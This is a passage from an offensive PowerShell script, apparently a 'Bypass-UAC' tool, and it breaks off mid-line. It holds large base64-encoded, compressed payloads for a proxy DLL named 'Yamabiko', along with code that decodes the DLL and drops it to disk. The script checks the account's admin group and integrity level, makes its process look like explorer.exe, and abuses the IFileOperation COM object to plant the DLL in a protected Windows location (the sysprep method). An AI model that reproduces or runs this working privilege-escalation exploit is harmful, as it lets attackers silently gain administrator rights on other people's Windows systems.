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 +'@ + + $yamabiko64 = @' + 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 +RQlqGmqxl8XME +tHuCudV0hRyoEvdwQ2eFgglRUE3u8XKz0HfXV4p1axyrYG0KdRjd72BZWEvwNLxQhf1IzfzzQISrwqvHcUwXyqzjSMjGjG0aD6ViHPti3Hqlam6zEe9R1CH7klBQcIbN4ryaTP6NhfmqEuykgDXcNnG/m4FiOSUwn8wnZrIAEcnXUMo/9M9a5DEPSEmJM0rNZ7E2npKjrOMsldaUlZZKGAslkbi0E08hhSaNAeqRT2rZGHaCpL9Q5msRZFF8tKezf0pF8PHg4i72uS/lvPjniLyhY9CKMU6KCsvmvdjglmi wYVmTDr6ZSqoKugZuX1HHzpzy/d8Q/tTR7Lh2RBzRRG40OySnqlAxfWjbnhNnHolJBIpu4FySsk0Qruag8xhPWSSmVBXypdIZ1EfMfBtJZjpiW01MVpcN6Tpjd8T72Dyhl0wNqSpSV4tTVmppJFyeaWgtOikWimP5NSexVYqW09+rFaduYDflFRVXkGFs +kSZTezQRpqBnU1ixqXI81fyNyGQCZ881xbZu0RiaWpCn5hdkCWyVj7i3QSdi5jEsRWNDEmymW5OHRXYLuHUrEutUAzAo5kG6NRXGruebU97KpqO +lV8uGkElMGTE1W16vvMrWDd1xF5Ycn1c9w2gH7UlxdiWAVXU4hZJLIRnro1lmZ6xUDzrEgsTWYF2WdOLeHJZndKIRQ6ziQD7vhmO2QusEwJ8VGepzJZl8xayMz0gi4OKqhtyrAOja1Bh70Fw/VHcPB09zWhPioN6NiWThm/JhuHrWVqPpKVkhXWTvHUuR+2ZXy77Pbfcduh1ZH5Hs8Tm9Pt7T84w3zTTcB2sM6yns+uCI2lRiQeVYVlTFfY+jDly6uvpYoyQqi6FkJ1EY0FSNrK9lPZlx77s +XqitcF1ncFIawv/oslH29/Fxr57u/3j5rcMP9r+3rcZ/JNyHrgw9o3K07AvzK/j34fstkhnn/8dskifPXNK4kQ6c43se5WvzZjMueS7RBfWTZ6/NoN9DrOPotSPv0H+jaowdVEnzsP4245jtj06848fMN6DeU0m98IE00zKU8O3lTOYRJQM0viXSgfBJlOSJDArlGCfV6OjuEwzLQNO5/sB/q3O5TQX6X7IpChNIuRHURsRZ +Z3SjciZwvOZbRmBBri1MTT22keyuX0BACdYlx/GlIySinZ8oyLfXNLBo8Klm7+tVX2XS22NdOsPJ6+7BdTJ8u3QN+pgPl1VXY+G/Lsugwuq4A7mVfjYn1sU+jTKBNB/iCX9vPvfI3y2rIvgLHvSU9N89AipJ6IfQv/KtkyHC2eOFuOo1Jt00b10NeV5ZKzdcxdo1Kyrk1gYN +JpYnrNNsqThm0rVF0X6Ze5zLeloVlilu0uD0DvHf1gUmz6DVEDfzj2j3IZX1DR75YcH9nz7yPf317pTCSSnpYeIuQblXj0qbmRo+kxNQ4BvBVjb097YtPa/SwSW1cZD/lX9U4KumNwpn1c1ZiIimlBpKjHhAo +qrGjKas0FmQKuqLU3JMU3U1YSxGfLJC1FNNw0sbPSlRkROI0/rytYHK41mJuTJ7qzehZtmOr8DWejwvh5K6FMtosjGaPUeKJm3NQIsUZ7GynJQGJX0iMz87OIKi/Geg0rCU9CTZ31WNIsK7YXWLpDV6MrIvxkKTVY0JMalLjZ4lk0qWlNaycklBnVYumbg41mxLcu2Gkyl+6e9v+z8= +'@ + + if ($env:PROCESSOR_ARCHITECTURE -eq "AMD64") { + $Stream = new-object -TypeName System.IO.MemoryStream + $DeflateStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($yamabiko64),[IO.Compression.CompressionMode]::Decompress) + $buffer = New-Object Byte[](32768) + $count = 0 + do + { + $count = $DeflateStream.Read($buffer, 0, 1024) + if ($count -gt 0) + { + $Stream.Write($buffer, 0, $count) + } + } + While ($count -gt 0) + $array = $stream.ToArray() + $DeflateStream.Close() + $Stream.Close() + Set-Content -value $array -encoding byte -path $DllPath + echo "[+] 64-bit Yamabiko: $DllPath" + } + else { + $Stream = new-object -TypeName System.IO.MemoryStream + $DeflateStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($yamabiko32),[IO.Compression.CompressionMode]::Decompress) + $buffer = New-Object Byte[](32256) + $count = 0 + do + { + $count = $DeflateStream.Read($buffer, 0, 1024) + if ($count -gt 0) + { + $Stream.Write($buffer, 0, $count) + } + } + While ($count -gt 0) + $array = $stream.ToArray() + $DeflateStream.Close() + $Stream.Close() + Set-Content -value $array -encoding byte -path $DllPath + echo "[+] 32-bit Yamabiko: $DllPath" + } + + } + + #--------------- + # Static resources used for UAC elevation + #--------------- + $WinPackageData = @" + + + + + + + + + +"@ + + $WinManifestData = @" + + + + + + + + + + + + true + + + + +"@ + + #--------------- + # Main() function logic, finally! + #--------------- + + # Perform some checks on the user account + $IsAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator') + $HasAdminGroup = $(($(whoami /groups) -like "*S-1-5-32-544*").length -ne 0) + $IsMediumIntegrity = $(($(whoami /groups) -like "*S-1-16-8192*").length -ne 0) + + if ($IsAdmin) { + echo "`n[!] Listen, I know it's been a long day but you already have Administrator rights!`n" + Return + } if (!$HasAdminGroup) { + echo "`n[!] The current user is not part of the Administrator group!`n" + Return + } if (!$IsMediumIntegrity) { + echo "`n[!] The current process is not medium integrity!`n" + Return + } + + # Unexpected behaviour on Win7 32-bit when run multiple times.. + $ProcStatus = Get-WmiObject Win32_Process -Filter "ProcessId = '$PID'" + if ($ProcStatus.CommandLine -eq "C:\Windows\explorer.exe") { + echo "`n[!] To prevent unexpected behaviour running Bypass-UAC multiple times in the same shell is not advised!`n" + Return + } + + # Did the user provide a custom dll? + if ($CustomDll) { + if (![IO.File]::Exists($CustomDll)) { + echo "`n[!] Custom proxy dll path is not valid!`n" + Return + } else { + # Set proxy dll path + $DllPath = $CustomDll + } + } + + #-------------------------# + # OS version table # + #-------------------------# + # 10.0 -> Win10 / 2k16 # + # 6.3 -> Win8.1 / 2k12R2 # + # 6.2 -> Win8 / 2k12 # + # 6.1 -> Win7 / 2k8R2 # + # 6.0 -> Vista / 2k8 # + #-------------------------# + $OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version + [double]$OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)" + if ($OSMajorMinor -lt 6.0) { + echo "`n[!] Sorry, this OS version is not supported!`n" + Return + } + + # Bool flag architecture $x64/!$x64 + $x64 = $($env:PROCESSOR_ARCHITECTURE -eq "AMD64") + + # UAC bypass methods go here! + switch ($Method) { + # UACME method 1 + 'UacMethodSysprep' + { + # Original Leo Davidson sysprep method + # Works on everything pre 8.1 + if ($OSMajorMinor -ge 6.3) { + echo "[!] Your OS does not support this method!`n" + Return + } + + # Impersonate explorer.exe + echo "`n[!] Impersonating explorer.exe!" + Masquerade-PEB -BinPath "C:\Windows\explorer.exe" + + if ($DllPath) { + echo "[>] Using custom proxy dll.." + echo "[+] Dll path: $DllPath" + } else { + # Write Yamabiko.dll to disk + echo "[>] Dropping proxy dll.." + Emit-Yamabiko + } + + # Expose IFileOperation COM object + Invoke-IFileOperation + + # Exploit logic + echo "[>] Performing elevated IFileOperation::MoveItem operation.." + $IFileOperation.MoveItem($DllPath, $($env:SystemRoot + 